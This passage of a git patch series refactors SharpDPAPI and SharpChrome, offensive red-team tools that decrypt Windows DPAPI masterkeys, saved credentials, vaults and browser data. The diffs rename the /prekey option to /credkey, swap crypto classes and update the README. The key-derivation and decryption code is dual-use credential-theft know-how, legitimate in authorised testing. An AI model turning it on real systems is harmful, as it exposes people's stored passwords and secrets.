local SHA1, works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) /rpc - decrypt the target user's masterkeys by asking domain controller to do so GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption /statekey:X - a decrypted AES state key (from the 'statekey' command) diff --git a/SharpDPAPI/Commands/Blob.cs b/SharpDPAPI/Commands/Blob.cs index 2ef25fe..0eb804b 100755 --- a/SharpDPAPI/Commands/Blob.cs +++ b/SharpDPAPI/Commands/Blob.cs @@ -76,10 +76,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpDPAPI/Commands/Certificate.cs b/SharpDPAPI/Commands/Certificate.cs index bf7e4e8..cea09a6 100755 --- a/SharpDPAPI/Commands/Certificate.cs +++ b/SharpDPAPI/Commands/Certificate.cs @@ -139,10 +139,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpDPAPI/Commands/Credentials.cs b/SharpDPAPI/Commands/Credentials.cs index 33cb1cf..2510754 100755 --- a/SharpDPAPI/Commands/Credentials.cs +++ b/SharpDPAPI/Commands/Credentials.cs @@ -51,10 +51,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpDPAPI/Commands/Keepass.cs b/SharpDPAPI/Commands/Keepass.cs index dd4dd15..bd56b1a 100644 --- a/SharpDPAPI/Commands/Keepass.cs +++ b/SharpDPAPI/Commands/Keepass.cs @@ -57,10 +57,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpDPAPI/Commands/Masterkeys.cs b/SharpDPAPI/Commands/Masterkeys.cs index 4e8e4c2..4136285 100755 --- a/SharpDPAPI/Commands/Masterkeys.cs +++ b/SharpDPAPI/Commands/Masterkeys.cs @@ -21,7 +21,7 @@ public void Execute(Dictionary arguments) byte[] backupKeyBytes = null; string password = ""; string ntlm = ""; - string prekey = ""; + string credkey = ""; string computerName = ""; string target = ""; string sid = ""; @@ -60,9 +60,9 @@ public void Execute(Dictionary arguments) { ntlm = arguments["/ntlm"]; } - if (arguments.ContainsKey("/prekey")) + if (arguments.ContainsKey("/credkey")) { - prekey = arguments["/prekey"]; + credkey = arguments["/credkey"]; } if (arguments.ContainsKey("/sid")) { @@ -79,32 +79,32 @@ public void Execute(Dictionary arguments) } if ( - (arguments.ContainsKey("/password") || arguments.ContainsKey("/ntlm") || arguments.ContainsKey("/prekey")) + (arguments.ContainsKey("/password") || arguments.ContainsKey("/ntlm") || arguments.ContainsKey("/credkey")) && arguments.ContainsKey("/target") && !arguments.ContainsKey("/sid")) { - Console.WriteLine("[X] When using /password, /ntlm, or /prekey with /target:X, a /sid:X (domain user SID) is required!"); + Console.WriteLine("[X] When using /password, /ntlm, or /credkey with /target:X, a /sid:X (domain user SID) is required!"); return; } if (arguments.ContainsKey("/hashes") && arguments.ContainsKey("/target") && !arguments.ContainsKey("/sid")) { - Console.WriteLine("[X] When using /password, /ntlm, or /prekey with /target:X, a /sid:X (domain user SID) is required!"); + Console.WriteLine("[X] When using /password, /ntlm, or /credkey with /target:X, a /sid:X (domain user SID) is required!"); return; } if ( - !(arguments.ContainsKey("/password") || arguments.ContainsKey("/ntlm") || arguments.ContainsKey("/prekey")) + !(arguments.ContainsKey("/password") || arguments.ContainsKey("/ntlm") || arguments.ContainsKey("/credkey")) && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/rpc") && !arguments.ContainsKey("/hashes")) { - Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key, /rpc, /password, /ntlm, /prekey, or /hashes must be supplied!"); + Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key, /rpc, /password, /ntlm, /credkey, or /hashes must be supplied!"); return; } mappings = Triage.TriageUserMasterKeys( backupKeyBytes: backupKeyBytes, show: show, computerName: computerName, - password: password, ntlm: ntlm, prekey: prekey, target: target, + password: password, ntlm: ntlm, credkey: credkey, target: target, userSID: sid, dumpHash: hashes, rpc: rpc); } } diff --git a/SharpDPAPI/Commands/PS.cs b/SharpDPAPI/Commands/PS.cs index b4edb2e..889484c 100755 --- a/SharpDPAPI/Commands/PS.cs +++ b/SharpDPAPI/Commands/PS.cs @@ -66,10 +66,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpDPAPI/Commands/RDG.cs b/SharpDPAPI/Commands/RDG.cs index 574429e..5a4faa5 100755 --- a/SharpDPAPI/Commands/RDG.cs +++ b/SharpDPAPI/Commands/RDG.cs @@ -57,10 +57,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpDPAPI/Commands/Triage.cs b/SharpDPAPI/Commands/Triage.cs index 54eb078..7c1f523 100755 --- a/SharpDPAPI/Commands/Triage.cs +++ b/SharpDPAPI/Commands/Triage.cs @@ -48,10 +48,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpDPAPI/Commands/Vaults.cs b/SharpDPAPI/Commands/Vaults.cs index 1ad72a3..24653d4 100755 --- a/SharpDPAPI/Commands/Vaults.cs +++ b/SharpDPAPI/Commands/Vaults.cs @@ -49,10 +49,10 @@ public void Execute(Dictionary arguments) Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); } - else if (arguments.ContainsKey("/prekey")) + else if (arguments.ContainsKey("/credkey")) { - Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); - masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); } else if (arguments.ContainsKey("/rpc")) { diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index bfd7ab9..c471969 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -47,7 +47,7 @@ public static void ShowUsage() /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) - /prekey:X - decrypt the target user's masterkeys using a DPAPI prekey (domain or local SHA1, works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) /rpc - decrypt the target user's masterkeys by asking domain controller to do so /server:SERVER - triage a remote server, assuming admin access /hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) @@ -61,7 +61,7 @@ public static void ShowUsage() /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys /password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) /ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) - /prekey:X - decrypt the target user's masterkeys using a DPAPI prekey (domain or local SHA1, works remotely) + /credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) /rpc - decrypt the target user's masterkeys by asking domain controller to do so GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index 58f1aa8..d599883 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -1752,7 +1752,7 @@ public static byte[] GetMasterKey(byte[] masterKeyBytes) return masterKeySubBytes; } - public static byte[] CalculateKeys(bool domain = true, string password = "", string ntlm = "", string prekey = "", string userSID = "", string directory = "") + public static byte[] CalculateKeys(bool domain = true, string password = "", string ntlm = "", string credkey = "", string userSID = "", string directory = "") { var usersid = ""; @@ -1774,10 +1774,10 @@ public static byte[] CalculateKeys(bool domain = true, string password = "", str if (!domain) { - if (!domain && !String.IsNullOrEmpty(prekey)) + if (!domain && !String.IsNullOrEmpty(credkey)) { - // using the local pre-key specifically - using (var hmac = new HMACSHA1(Helpers.ConvertHexStringToByteArray(prekey))) + // using the local credkey specifically + using (var hmac = new HMACSHA1(Helpers.ConvertHexStringToByteArray(credkey))) { return hmac.ComputeHash(utf16sidfinal); } @@ -1821,7 +1821,7 @@ public static byte[] CalculateKeys(bool domain = true, string password = "", str } byte[] tmpbytes; - byte[] prekey_bytes; + byte[] credkey_bytes; using (var hMACSHA256 = new HMACSHA256()) { @@ -1832,24 +1832,24 @@ public static byte[] CalculateKeys(bool domain = true, string password = "", str using (var hMACSHA256 = new HMACSHA256()) { var deriveBytes = new Pbkdf2(hMACSHA256, tmpbytes, utf16sid, 1); - prekey_bytes = deriveBytes.GetBytes(16, "sha256"); + credkey_bytes = deriveBytes.GetBytes(16, "sha256"); } - using (var hmac = new HMACSHA1(prekey_bytes)) + using (var hmac = new HMACSHA1(credkey_bytes)) { return hmac.ComputeHash(utf16sidfinal); } } - else if (!String.IsNullOrEmpty(prekey)) + else if (!String.IsNullOrEmpty(credkey)) { - using (var hmac = new HMACSHA1(Helpers.ConvertHexStringToByteArray(prekey))) + using (var hmac = new HMACSHA1(Helpers.ConvertHexStringToByteArray(credkey))) { return hmac.ComputeHash(utf16sidfinal); } } else { - Console.WriteLine(" [X] CalculateKeys() error: either a /password, /ntlm, or /prekey must be supplied!"); + Console.WriteLine(" [X] CalculateKeys() error: either a /password, /ntlm, or /credkey must be supplied!"); return null; } } diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 12cb2da..0b3c3da 100644 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -14,7 +14,7 @@ namespace SharpDPAPI public class Triage { public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes = null, bool show = false, string computerName = "", - string password = "", string ntlm = "", string prekey = "", string target = "", string userSID = "", bool dumpHash = false, bool rpc = false) + string password = "", string ntlm = "", string credkey = "", string target = "", string userSID = "", bool dumpHash = false, bool rpc = false) { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied @@ -27,7 +27,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy // if we're targeting specific masterkey files if (((backupKeyBytes == null) || (backupKeyBytes.Length == 0)) && String.IsNullOrEmpty(userSID)) { - Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...', or a SID with a /password, /ntlm, or /prekey"); + Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...', or a SID with a /password, /ntlm, or /credkey"); return mappings; } @@ -59,9 +59,9 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy { plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); } - else if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(prekey)) + else if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(credkey)) { - byte[] hmacBytes = Dpapi.CalculateKeys(password:password, ntlm:ntlm, prekey:prekey, userSID:userSID); + byte[] hmacBytes = Dpapi.CalculateKeys(password:password, ntlm:ntlm, credkey: credkey, userSID:userSID); plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); } else if (dumpHash) @@ -90,9 +90,9 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy { plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); } - else if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(prekey)) + else if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(credkey)) { - byte[] hmacBytes = Dpapi.CalculateKeys(password: password, ntlm: ntlm, prekey: prekey, userSID: userSID); + byte[] hmacBytes = Dpapi.CalculateKeys(password: password, ntlm: ntlm, credkey: credkey, userSID: userSID); plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); } else if (dumpHash) @@ -166,9 +166,9 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy userSID = !String.IsNullOrEmpty(userSID) ? userSID : Dpapi.ExtractSidFromPath(file); } - if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(prekey)) + if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(credkey)) { - hmacBytes = Dpapi.CalculateKeys(password: password, ntlm: ntlm, prekey: prekey, userSID: userSID, domain: isDomain); + hmacBytes = Dpapi.CalculateKeys(password: password, ntlm: ntlm, credkey: credkey, userSID: userSID, domain: isDomain); } foreach (var file in files) @@ -188,7 +188,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy try { KeyValuePair plaintextMasterKey = default; - if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(prekey)) + if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(credkey)) { plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); } From 05d657ed7cff7621b35b3c3f87c1d87a3b5f686e Mon Sep 17 00:00:00 2001 From: PJ Date: Sat, 17 Feb 2024 02:16:21 -0600 Subject: [PATCH 20/28] Update README.md fix markdown --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4bfc8b3..84dbcb1 100755 --- a/README.md +++ b/README.md @@ -1191,7 +1191,7 @@ The `/unprotect` flag will use CryptUnprotectData() to decrypt the blob without Decrypt a blob using CryptProtectData() (the `/unprotect` flag): -C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect + C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect __ _ _ _ ___ (_ |_ _. ._ ._ | \ |_) /\ |_) | From 1ee41c905fb3c307e4db93c20657fc3205295fba Mon Sep 17 00:00:00 2001 From: Duane Michael Date: Thu, 22 Feb 2024 13:13:12 -0700 Subject: [PATCH 21/28] Changed LSAAESDecrypt to use the AesManaged class instead of AesCryptoServiceProvider --- SharpDPAPI/lib/Crypto.cs | 40 +++++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 19 deletions(-) diff --git a/SharpDPAPI/lib/Crypto.cs b/SharpDPAPI/lib/Crypto.cs index e54fcd8..db650fd 100755 --- a/SharpDPAPI/lib/Crypto.cs +++ b/SharpDPAPI/lib/Crypto.cs @@ -266,29 +266,31 @@ public static byte[] AESDecrypt(byte[] key, byte[] IV, byte[] data) public static byte[] LSAAESDecrypt(byte[] key, byte[] data) { - var aesCryptoProvider = new AesCryptoServiceProvider(); - - aesCryptoProvider.Key = key; - aesCryptoProvider.IV = new byte[16]; - aesCryptoProvider.Mode = CipherMode.CBC; - aesCryptoProvider.BlockSize = 128; - aesCryptoProvider.Padding = PaddingMode.Zeros; - var transform = aesCryptoProvider.CreateDecryptor(); + using (AesManaged aesCryptoProvider = new AesManaged + { + Key = key, + IV = new byte[16], + Padding = PaddingMode.Zeros + } + ) + { + ICryptoTransform transform = aesCryptoProvider.CreateDecryptor(); - var chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16)); - var plaintext = new byte[chunks * 16]; + var chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16)); + var plaintext = new byte[chunks * 16]; - for (var i = 0; i < chunks; ++i) - { - var offset = i * 16; - var chunk = new byte[16]; - Array.Copy(data, offset, chunk, 0, 16); + for (var i = 0; i < chunks; ++i) + { + var offset = i * 16; + var chunk = new byte[16]; + Array.Copy(data, offset, chunk, 0, 16); + + var chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length); + Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16); + } - var chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length); - Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16); + return plaintext; } - - return plaintext; } public static byte[] RSADecrypt(byte[] privateKey, byte[] dataToDecrypt) From 10a00700b8d0bee3922031ade2c5c2a99967d2f1 Mon Sep 17 00:00:00 2001 From: Duane Michael Date: Thu, 22 Feb 2024 13:21:06 -0700 Subject: [PATCH 22/28] Addressed FIPS issues by not enforcing FIPS policy in app.config --- SharpDPAPI/app.config | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/SharpDPAPI/app.config b/SharpDPAPI/app.config index cf7e7ab..9790959 100755 --- a/SharpDPAPI/app.config +++ b/SharpDPAPI/app.config @@ -1,3 +1,9 @@ - + + + + + + + \ No newline at end of file From a095233577a285f6152d09e435c0f9797a89b025 Mon Sep 17 00:00:00 2001 From: Duane Michael Date: Thu, 22 Feb 2024 13:24:11 -0700 Subject: [PATCH 23/28] Changed uses of the AesCryptoServiceProvider class to AesManaged in the sqllite crypto.cs --- SharpChrome/SQLite/csharp-sqlite-src/crypto.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs b/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs index 8c2db3f..21c7f27 100755 --- a/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs +++ b/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs @@ -163,9 +163,9 @@ public codec_ctx Copy() const int CIPHER_ENCRYPT = 1; //#define CIPHER_ENCRYPT 1 #if NET_2_0 - static RijndaelCryptoServiceProvider Aes = new RijndaelCryptoServiceProvider(); + static RijndaelManaged Aes = new RijndaelManaged(); #else - static AesCryptoServiceProvider Aes = new AesCryptoServiceProvider(); + static AesManaged Aes = new AesManaged(); #endif /* BEGIN CRYPTO */ From 59fc248830711910de86e9b5152a5ce350a085ba Mon Sep 17 00:00:00 2001 From: Duane Michael Date: Thu, 22 Feb 2024 13:28:40 -0700 Subject: [PATCH 24/28] Changed uses of the (CryptoServiceProvider classes to *Managed in lib\Crypto.cs --- SharpDPAPI/lib/Crypto.cs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/SharpDPAPI/lib/Crypto.cs b/SharpDPAPI/lib/Crypto.cs index db650fd..6dc200f 100755 --- a/SharpDPAPI/lib/Crypto.cs +++ b/SharpDPAPI/lib/Crypto.cs @@ -74,7 +74,7 @@ public static byte[] DecryptBlob(byte[] ciphertext, byte[] key, int algCrypt, Pa case 26128: // 26128 == CALG_AES_256 { // takes a byte array of ciphertext bytes and a key array, decrypt the blob with AES256 - var aesCryptoProvider = new AesCryptoServiceProvider(); + var aesCryptoProvider = new AesManaged(); var ivBytes = new byte[16]; @@ -139,7 +139,7 @@ public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash, b byte[] bufferI = Helpers.Combine(ipad, saltBytes); - using (var sha1 = new SHA1CryptoServiceProvider()) + using (var sha1 = new SHA1Managed()) { var sha1BufferI = sha1.ComputeHash(bufferI); @@ -182,7 +182,7 @@ public static byte[] DeriveKeyRaw(byte[] hashBytes, int algHash) if (algHash == 32772) { - using (var sha1 = new SHA1CryptoServiceProvider()) + using (var sha1 = new SHA1Managed()) { var ipadSHA1bytes = sha1.ComputeHash(ipad); var ppadSHA1bytes = sha1.ComputeHash(opad); @@ -250,7 +250,7 @@ public static byte[] AESDecrypt(byte[] key, byte[] IV, byte[] data) { // helper to AES decrypt a given blob with optional IV - var aesCryptoProvider = new AesCryptoServiceProvider(); + var aesCryptoProvider = new AesManaged(); aesCryptoProvider.Key = key; if (IV.Length != 0) From 8e805cef8c8aa4d25ceec73da45ee13e4b853c40 Mon Sep 17 00:00:00 2001 From: Duane Michael Date: Thu, 22 Feb 2024 13:30:31 -0700 Subject: [PATCH 25/28] Changed uses of the *CryptoServiceProvider class to *Managed in lib\Dpapi.cs --- SharpDPAPI/lib/Dpapi.cs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index d599883..eb7a6c7 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -1786,7 +1786,7 @@ public static byte[] CalculateKeys(bool domain = true, string password = "", str { // Calculate SHA1 from user password byte[] sha1bytes_password; - using (var sha1 = new SHA1CryptoServiceProvider()) + using (var sha1 = new SHA1Managed()) { sha1bytes_password = sha1.ComputeHash(utf16pass); } @@ -1897,7 +1897,7 @@ public static KeyValuePair DecryptMasterKey(byte[] masterKeyByte var masterKey = new byte[masterKeyLen]; Buffer.BlockCopy(domainKeyBytesDec, 8, masterKey, 0, masterKeyLen); - var sha1 = new SHA1CryptoServiceProvider(); + var sha1 = new SHA1Managed(); var masterKeySha1 = sha1.ComputeHash(masterKey); var masterKeySha1Hex = BitConverter.ToString(masterKeySha1).Replace("-", ""); @@ -2014,7 +2014,7 @@ private static byte[] DecryptAes256HmacSha512(byte[] shaBytes, byte[] final, byt var masterKeyFull = new byte[64]; Array.Copy(plaintextBytes, plaintextBytes.Length - masterKeyFull.Length, masterKeyFull, 0, masterKeyFull.Length); - using (var sha1 = new SHA1CryptoServiceProvider()) + using (var sha1 = new SHA1Managed()) { var masterKeySha1 = sha1.ComputeHash(masterKeyFull); @@ -2044,7 +2044,7 @@ private static byte[] DecryptTripleDESHmac(byte[] shaBytes, byte[] final, byte[] var masterKeyFull = new byte[64]; Array.Copy(plaintextBytes, plaintextBytes.Length - masterKeyFull.Length, masterKeyFull, 0, masterKeyFull.Length); - using (var sha1 = new SHA1CryptoServiceProvider()) + using (var sha1 = new SHA1Managed()) { var masterKeySha1 = sha1.ComputeHash(masterKeyFull); From d1a048c8f97e8fed112e209fb703065e81654931 Mon Sep 17 00:00:00 2001 From: Duane Michael Date: Thu, 22 Feb 2024 13:31:37 -0700 Subject: [PATCH 26/28] Changed uses of the *CryptoServiceProvider classes to *Managed in lib\Triage.cs --- SharpDPAPI/lib/Triage.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 0b3c3da..b3c6f43 100644 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -211,7 +211,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy bkrp.Initialize(DCIPAdress.ToString(), System.Environment.UserDomainName); var keyBytes = bkrp.BackuprKey(SharpDPAPI.Dpapi.GetDomainKey(masterKeyBytes)); var guid = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}"; - var sha1 = new SHA1CryptoServiceProvider(); + var sha1 = new SHA1Managed(); var masterKeySha1 = sha1.ComputeHash(keyBytes); var masterKeySha1Hex = BitConverter.ToString(masterKeySha1).Replace("-", ""); mappings.Add(guid, masterKeySha1Hex); From 7d744a7562cbd3f04c7f801395e48bcd73bb9887 Mon Sep 17 00:00:00 2001 From: Bebop79 Date: Wed, 5 Jun 2024 16:40:23 -0700 Subject: [PATCH 27/28] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 4bfc8b3..968528b 100755 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChro SharpChrome also uses an minimized version of @AArnott's [BCrypt P/Invoke code](https://github.com/AArnott/pinvoke/tree/master/src/BCrypt) released under the MIT License. -If you're unfamiliar with DPAPI, [check out this post](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) +If you're unfamiliar with DPAPI, [check out this post](https://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) [@harmj0y](https://twitter.com/harmj0y) is the primary author of this port. @@ -206,7 +206,7 @@ For decrypting RDG/RDCMan.settings files with the [rdg](#rdg) command, the `/unp For machine-specific DPAPI triage, the `machinemasterkeys|machinecredentials|machinevaults|machinetriage` commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the "DPAPI_SYSTEM" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine 